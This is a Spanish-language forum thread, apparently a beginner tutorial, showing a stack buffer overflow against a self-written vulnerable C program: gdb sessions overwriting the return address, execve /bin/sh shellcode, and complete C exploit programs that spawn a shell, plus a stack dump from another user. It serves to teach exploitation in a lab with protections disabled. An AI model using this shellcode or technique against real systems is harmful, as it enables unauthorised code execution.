[First BoF Linux attack : Sagrini 2010 : elhacker.net] [Funciona!!!]

[Garfield07]

Claro, es que no estoy poniendo tres ases más...
No sabes que al ejecutar el ret se saca de la pila la dirección que tienes que volver? Por eso al ejecutar el ret todo está cuatro bytes menos...
Te cito de mi blog:
---------------------------------------------------------------------------------------------------------
Bueno, tras un ratillo erre que erre golpeándome he conseguido ejecutar una shellcode. Os explico:
Primero he calculado cuantos nops (0x90, el procesador no hace nada) le tengo que meter a la cadena. Luego, he escrito mi shellcode, y finalmente he calculado la dirección de regreso.
Calculemos: Tenemos 36 bytes, pero para cambiar la ejecución del programa hacen falta 44. Así que...
44 - 4 (dirección de regreso) = 40. Mi shellcode mide 25 pbytes...
40 - 25 (shellcode) = 15. En este hueco irá relleno.
Así que la estructura sería...
15 Nops (\x90) + 25 Shellcode + 4 Ret.
Escribimos:
juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
(gdb) r $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) br vuln
Breakpoint 1 at 0x804842a: file vuln.c, line 8.
(gdb) r AAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln AAA

Breakpoint 1, vuln (buff=0xbffffb5f "AAA") at vuln.c:8
8        strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff904:    0x00000000
(gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')

Breakpoint 1, vuln (
    buff=0xbffffb36 '\220' <repeats 15 times>, "1�Ph//shh/bin\211�P\211�S\211��\v�\200\004���") at vuln.c:8
8        strcpy (buffer, buff);
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbffff95b in ?? ()
(gdb) ¿Error? Pues sí. No nos hemos dado cuenta de que al volver se restan 4 bytes...
(gdb) r $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')

Breakpoint 1, vuln (
    buff=0xbffffb3a '\220' <repeats 11 times>, "1�Ph//shh/bin\211�P\211�S\211��\v�\200\004���") at vuln.c:8
8        strcpy (buffer, buff);
(gdb) c
Continuing.
Executing new program: /bin/dash
(no debugging symbols found)
Error in re-setting breakpoint 1: Function "vuln" not defined.
(no debugging symbols found)
(no debugging symbols found)
$
Ahora escribimos el exploit...
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main ()
{
    char nops [11];
    memset (nops, '\x90', 11);
    char shellcode [26] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
    char ret [5] = "\x04\xf9\xff\xbf";

    char command [47];
    strcpy (command, "./vuln ");
    strcat (command, nops);
    strcat (command, shellcode);
    strcat (command, ret);
    system (command);
}
juanra@Juanra:~/Escritorio/Shell$ gcc -o exploit exploit.c
juanra@Juanra:~/Escritorio/Shell$ ./exploit
$

¡Bueno, lo hemos conseguido! ¡Hemos escrito nuestro primer exploit con shellcode en un entorno linux!

PD: Sé que no me explico nada bien, todas las dudas...
PD2: Habrá más entregas

Un saludo! Os espero.
Sagrini
---------------------------------------------------------------------------------------------------------
Y primera parte
---------------------------------------------------------------------------------------------------------
Vale, esta entrega va a ir sobre cómo aprovechar un BoF para controlar un programa. Es bastante sencillo...

Primero escribimos un programa típicamente vulnerable.
#include <stdio.h>
#include <string.h>

int vuln (char *buff)
{
    char buffer [36];
    strcpy (buffer, buff);
}

int main (int argc, char *argv [])
{
    vuln (argv [1]);
}

Compilamos y ejecutamos:
juanra@Juanra:~/Escritorio/Shell$ gcc -o vuln vuln.c --no-stack-protector -z execstack
juanra@Juanra:~/Escritorio/Shell$ ./vuln AAA
juanra@Juanra:~/Escritorio/Shell$

Como vemos no pasa nada... Si nos fijamos bien en "buffer" sólo caben 36 letras. ¿Y si le metemos más? Pues que el programa se sale...
juanra@Juanra:~/Escritorio/Shell$ ./vuln $(perl -e 'print "A"x50')
Fallo de segmentación
juanra@Juanra:~/Escritorio/Shell$
juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
(gdb) r $(perl -e 'print "A"x50')
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "A"x50')
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) r $(perl -e 'print "A"x40 . "BBBB"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "A"x40 . "BBBB"')
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)

Pues como vemos las As y las Bs "mueven" el flujo del programa. Entonces... ¿Podemos controlar un programa? Pues sí. Cambiemos el código:
#include <stdio.h>
#include <string.h>

int vuln (char *buff)
{
    char buffer [36];
    strcpy (buffer, buff);
}

int main (int argc, char *argv [])
{
    vuln (argv [1]);
}

int feo ()
{
    printf ("Eres feo!!!");
    exit (0);
}


juanra@Juanra:~/Escritorio/Shell$ gcc -o vuln vuln.c --no-stack-protector -z execstack
juanra@Juanra:~/Escritorio/Shell$ ./vuln AAA
juanra@Juanra:~/Escritorio/Shell$
Sigue sin pasar nada. Feo nunca se ejecuta :-o. Pero como somos malévolos...

(gdb) x/x feo
0x8048468 <feo>:    0x83e58955
(gdb) r $(perl -e 'print "A"x40 . "\x68\x84\x04\x08"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "A"x40 . "\x68\x84\x04\x08"')

Breakpoint 1, 0x0804842a in vuln ()
(gdb) c
Continuing.
Eres feo!!!
Program exited normally.
(gdb)
El programa va hacia la función feo y se ejecuta...

Ahora, explicación...

Algunos programas no controlan que los datos que le introduces sean los adecuados. Esto supone que el programa pueda fallar. Si yo le meto 40 ases a un sitio donde caben 36, falla. Pero si le meto 4 más sobreescribo un registro del ordenador que controla la próxima instrucción a ejecutar. Esto hace que podamos controlar el programa.

En la prueba buscamos la dirección de la función "feo" que te dice "Eres feo!!!" y cierra el programa. Esto se consigue con un br (break) vuln, que para el programa en el punto "vuln" y nos dice la dirección del punto de parada. Sobreescribimos con Perl esta dirección... "Eres feo!!!"

Ahora escribamos un exploit...
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main ()
{
    char nops [40];
    memset (nops, 'A', 40);
    char ret [5] = "\x68\x84\x04\x08";

    char command [51];
    strcpy (command, "./vuln ");
    strcat (command, nops);
    strcat (command, ret);
    system (command);
}
juanra@Juanra:~/Escritorio/Shell$ gcc -o exploit exploit.c
juanra@Juanra:~/Escritorio/Shell$ ./exploit
Eres feo!!!juanra@Juanra:~/Escritorio/Shell$

Vale, ahora os explico: El programa lo único que hace es introducir 40 ases y la dirección de "feo" en una variable y ejecutar el programa. Con este sencillo método hemos aprendido a explotar una parte de los fallos más comunes...
Os espero en las entregas venideras...
Un saludo!
Sagrini
---------------------------------------------------------------------------------------------------------

Escríbeme por PM las dudas...
Suerte!

[M3st4ng]

Hola!!
¿Puedes poner el disass de tu main? Además, para ver como se hace la copia de "buff" a la variable "buffer", pon un breakpoint dentro de la función "vuln" antes y después de la llamada a strcpy haciendo "x/100x $esp".

Saludos

[Garfield07]

Vale, creo que ya lo hemos solucionado. Verdad, Belial & Grimoire?
@M3st4ng, no sé de qué te sirve. Si sigues teniendo dudas, escríbeme. Si no, pásate por mi blog.
Ahora, cosa aparte, releo tu mensaje... No queremos ver cómo se copia. Sencillamente queremos hacer que funcione en su máquina

Para saber vuestra dirección de retorno...

Código [Seleccionar] Expandir


juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
(gdb) br vuln
Breakpoint 1 at 0x804842a: file vuln.c, line 8.
(gdb) r AAA
Starting program: /home/juanra/Escritorio/Shell/vuln AAA

Breakpoint 1, vuln (buff=0xbffffb60 "AAA") at vuln.c:8
8 strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff904: 0x00000000
(gdb) q
The program is running.  Exit anyway? (y or n) y
juanra@Juanra:~/Escritorio/Shell$


Para ejecutar el exploit desde la línea de comandos:

Código [Seleccionar] Expandir


juanra@Juanra:~/Escritorio/Shell$ ./vuln $(perl -e 'print "\x90"x11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
$ ls
exploit  exploit.c  shell  shell.s  vuln  vuln.c
$ whoami
juanra
$ exit
juanra@Juanra:~/Escritorio/Shell$


Exploit en C:

Código (c) [Seleccionar] Expandir


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main ()
{
char nops [11];
memset (nops, '\x90', 11);
char shellcode [26] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
char ret [5] = "\x04\xf9\xff\xbf";

char command [47];
strcpy (command, "./vuln ");
strcat (command, nops);
strcat (command, shellcode);
strcat (command, ret);
system (command);
}


[M3st4ng]

Hola!!
Los datos que pedía era para ver cómo se estaba sobreescribiendo todos los valores hasta llegar a la dirección de RET en la pila. Lo mejor es poner un breakpoint justo despues de la la función strcpy y ver el estado de la pila, así podremos comprobar qué se ha sobreescrito y con qué valores.
Asi se queda mi pila una vez que se ejecuta strcpy.

Código [Seleccionar] Expandir


0xbffff5d4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5e4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5f4:    0x90909090 0x90909090 0x90909090 0x90909090
0xbffff604: 0x90909090 0xeb909090 0x76895e1f 0x88c03108
0xbffff614: 0x46890746 0x890bb00c 0x084e8df3 0xcd0c568d
0xbffff624: 0x89db3180 0x80cd40d8 0xffffdce8    0x69622fff
0xbffff634: 0x68732f6e 0xbffff5e6         0xbffff5e6          0xbffff5e6
0xbffff644: 0xbffff5e6           0xbffff5e6 0xbffff5e6        0xbffff5e6
0xbffff654: 0xbffff5e6         0xbffff5e6         0xbffff5e6


En valor que esta en la dirección 0xbffff658 es el RET y contiene una direccion que apunta a los NOPS

Saludos

[Garfield07]

Wow, mucho mejor explicado que lo mio! El detalle habría sido continuar el programa
Muchas gracias! Ahora mismo estoy escribiendo el punto 2 del taller (el uno va por parte de Iván xD) y voy a añadirlo para que se vea mejor...